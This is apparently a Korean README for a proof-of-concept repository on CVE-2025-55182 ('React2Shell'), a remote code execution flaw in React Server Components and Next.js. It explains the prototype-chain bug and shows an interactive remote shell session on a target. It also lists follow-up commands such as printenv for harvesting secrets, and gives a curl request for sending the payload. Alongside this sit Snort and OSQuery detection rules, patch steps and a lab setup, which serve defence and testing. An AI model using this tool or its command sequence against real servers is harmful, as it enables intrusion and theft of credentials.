
CVSS 점수 10.0에 해당하는 React Server Components에 영향을 미치는 치명적인 원격 코드 실행 취약점인 CVE-2025-55182에 대한 포괄적인 개념 증명 익스플로잇 및 교육용 자료입니다.
교육 및 승인된 테스트 목적으로만 사용
이 도구는 교육 목적과 승인된 보안 테스트를 위해서만 제공됩니다. 승인되지 않은 컴퓨터 시스템 접근은 미국의 컴퓨터 사기 및 남용법(CFAA)을 비롯한 각종 법률과 전 세계의 유사한 법률에 따라 불법입니다.
사용자는 반드시:
저자 및 기여자:
이 도구를 사용함으로써 귀하는 본 약관을 이해하고 이에 동의함을 인정합니다.
React2Shell은 2025년 12월에 발견된 치명적인 취약점으로, React Server Components(RSC) 및 이를 구현하는 프레임워크, 특히 Next.js에 영향을 미칩니다. 이 취약점은 단일하게 조작된 HTTP 요청을 통해 인증되지 않은 원격 코드 실행을 가능하게 합니다.
이 저장소에는 다음이 포함되어 있습니다:
create-next-app으로 생성된 표준 Next.js 앱도 악용 가능취약한 버전:
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0패치된 버전:
취약한 버전:
패치된 버전:
이 취약점은 React Server Components의 역직렬화 로직 내 requireModule 함수에 존재합니다:
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
return moduleExports[metadata[2]]; // VULNERABLE LINE - Prototype chain traversal
}
이 결함으로 인해 공격자는 React Flight 프로토콜을 통해 JavaScript의 프로토타입 체인을 탐색하여 constructor.constructor와 같은 속성을 통해 Function 생성자에 접근할 수 있으며, 이를 통해 임의 코드 실행이 가능합니다.
__proto__를 악용하여 자기 참조 구조 생성constructor.constructor를 통해 체인으로 연결하여 Function()에 접근child_process.execSync()를 통해 임의 JavaScript 주입┌─────────────────────────────────────────────────────────────┐
│ Attacker sends multipart/form-data with Next-Action header │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Server deserializes payload via React Flight protocol │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Fake chunk object with __proto__ pollution processed │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Blob handler invokes _formData.get(_prefix + id) │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Resolves to Function("malicious_code") │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Arbitrary code executed with Node.js process privileges │
└─────────────────────────────────────────────────────────────┘
requests 라이브러리# Clone the repository
git clone https://github.com/yourusername/react2shell-poc.git
cd react2shell-poc
# Install dependencies
pip install -r requirements.txt
# Make script executable (Linux/macOS)
chmod +x react2shell.py
requests>=2.31.0
urllib3>=2.0.0
python3 react2shell.py
╔═══════════════════════════════════════════════════════════╗
║ React2Shell (CVE-2025-55182) PoC ║
║ CVSS 10.0 - Critical RCE ║
║ ║
║ Affected: React 19.0.0, 19.1.0, 19.1.1, 19.2.0 ║
║ Next.js ≥14.3.0-canary.77, 15.x, 16.x ║
║ ║
║ Cerberus Secure - Lab Use Only ║
╚═══════════════════════════════════════════════════════════╝
[?] Enter target information:
Host (e.g., localhost or 192.168.1.100): localhost
Port (e.g., 3000): 3000
[React2Shell]> id
[*] Target: http://localhost:3000/
[*] Command: id
[*] Building exploit payload...
[*] Sending exploit request...
[+] Response Status Code: 200
[*] Parsing response...
╔═══════════════════════════════════════════════════════════╗
║ COMMAND OUTPUT ║
╚═══════════════════════════════════════════════════════════╝
uid=1000(node) gid=1000(node) groups=1000(node)
[React2Shell]> whoami
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> exit
# System reconnaissance
[React2Shell]> id
[React2Shell]> whoami
[React2Shell]> uname -a
[React2Shell]> cat /etc/os-release
# File system exploration
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> cat package.json
# Environment variables (often contain secrets)
[React2Shell]> printenv
[React2Shell]> echo $PATH
# Network information
[React2Shell]> ifconfig
[React2Shell]> netstat -tulpn
| 명령어 | 설명 |
|---|---|
<모든 셸 명령어> | 대상에서 명령어 실행 |
help | 도움말 메시지 표시 |
exit / quit / q | 도구 종료 |
악용 시도를 탐지하려면 이 Snort 규칙을 배포하세요:
alert http any any -> $LAN_NETWORK any (
msg:"Potential Next.js React2Shell / CVE-2025-55182 attempt";
flow:to_server,established;
content:"Next-Action"; http_header; nocase;
content:"multipart/form-data"; http_header; nocase;
pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
classtype:web-application-attack;
sid:6655001;
rev:1;
)
탐지 로직:
Next-Action 헤더(RSC 특유) 모니터링multipart/form-data 페이로드 탐지name="0", status: "resolved_model", then: "$1:__proto__:then"취약한 패키지 버전을 검사하려면 이 OSQuery 규칙을 사용하세요:
{
"queries": {
"detect_react2shell_vulnerable_packages": {
"query": "SELECT name, version, path FROM npm_packages WHERE (name='react-server-dom-parcel' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0')) OR (name='react-server-dom-turbopack' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0')) OR (name='react-server-dom-webpack' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0'));",
"interval": 3600,
"description": "Detects vulnerable versions of React Server Components packages affected by CVE-2025-55182",
"platform": "linux,windows,macos",
"version": "1.0"
}
}
}
장점:
애플리케이션 로그에서 다음 패턴을 찾아보세요:
- HTTP POST requests with "Next-Action" header
- Unusual multipart/form-data requests to application root
- Error messages containing "NEXT_REDIRECT" with unexpected digest values
- Spike in 500 errors with React-related stack traces
- Child process spawning from Node.js (execSync, spawn, exec)
# Check current versions
npm list react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack
# Update React to patched version
npm install [email protected] [email protected]
# Update Next.js to latest patched version
npm install next@latest
# Verify updates
npm list react react-dom next
# Clear cache and rebuild
rm -rf .next node_modules package-lock.json
npm install
npm run build
의심스러운 패턴 차단:
- Requests with "Next-Action" header from untrusted sources
- Multipart form data with suspicious JSON structures
- Requests matching exploit signature patterns
# Example GitHub Actions workflow
name: Security Scan
on: [push, pull_request]
jobs:
dependency-check:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Check for vulnerable React packages
run: |
npm audit --audit-level=critical
npm list react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack
다음에 대한 알림 설정:
# Create a new Next.js app with vulnerable version
npx [email protected] vulnerable-app
cd vulnerable-app
# Install vulnerable React version
npm install [email protected] [email protected]
# Start the development server
npm run dev
Dockerfile 생성:
FROM node:18-alpine
WORKDIR /app
# Create a basic Next.js app
RUN npx [email protected] vulnerable-app --typescript --tailwind --app --no-src-dir
WORKDIR /app/vulnerable-app
# Install vulnerable React versions
RUN npm install [email protected] [email protected]
EXPOSE 3000
CMD ["npm", "run", "dev"]
빌드 및 실행:
docker build -t react2shell-lab .
docker run -p 3000:3000 react2shell-lab
docker-compose.yml 생성:
version: '3.8'
services:
vulnerable-app:
build: .
ports:
- "3000:3000"
environment:
- NODE_ENV=development
volumes:
- ./app:/app/vulnerable-app
실행:
docker-compose up -d
curl로 테스트:
curl -X POST http://localhost:3000/ \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary @exploit_payload.txt
기여는 언제나 환영합니다! 다음 지침을 따라주세요:
git checkout -b feature/improvement)git commit -am 'Add new detection method')git push origin feature/improvement)이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.
Tinashe
Cerberus Secure는 iConnect SA의 사이버 보안 부문으로, 다음을 전문으로 합니다:
이 취약점은 보안 연구자들이 React 팀에 책임감 있게 공개했습니다. 이 PoC는 다음 이후에 공개되었습니다:
타임라인:
기억하세요: 이 도구를 책임감 있게, 테스트 권한이 있는 시스템에서만 사용하세요.
이 저장소에 대한 질문, 우려 사항 또는 보안 문제가 있으면 이슈를 열거나 관리자에게 직접 문의하세요.
| 필드 | 세부 정보 |
|---|
| CVE ID | CVE-2025-55182 |
| CVSS 점수 | 10.0 (치명적) |
| 공격 벡터 | 네트워크 |
| 공격 복잡성 | 낮음 |
| 필요 권한 | 없음 |
| 사용자 상호 작용 | 없음 |
| 영향 | 완전한 시스템 장악 (RCE) |
| 공개 날짜 | 2025년 12월 |